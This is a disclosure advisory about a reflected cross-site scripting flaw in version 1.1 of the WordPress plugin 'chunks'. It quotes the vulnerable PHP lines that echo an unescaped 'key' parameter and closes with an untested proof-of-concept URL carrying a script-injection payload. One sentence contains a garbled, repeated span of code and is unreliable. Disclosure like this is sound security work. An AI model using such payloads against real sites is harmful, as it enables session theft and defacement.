Advisory #: 190
Title: Reflected XSS in wordpress plugin chunks v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/chunks
Downloads: 926
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: chunks
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./chunks/chunks.php: 197: <h2>Editing &quot;<?php echo $_GET[ 'key' ]; ?>&quot;:</h2> 199: <input type="hidden" name="edit-chunks-submit" value="<?php echo $_GET['key']; ?>" /> 207: <p style="margin-top: 4px;"><?php echo $_GET[ 'key' ]; ?></p> The variable key' ]; ?>&quot;:</h2> 199: <input type="hidden" name="edit-chunks-submit" value="<?php echo $_GET['key']; ?>" /> 207: <p style="margin-top: 4px;"><?php echo $_ appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./chunks/chunks.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/chunks/chunks.php?key=">"><script>alert(1);</script><"<"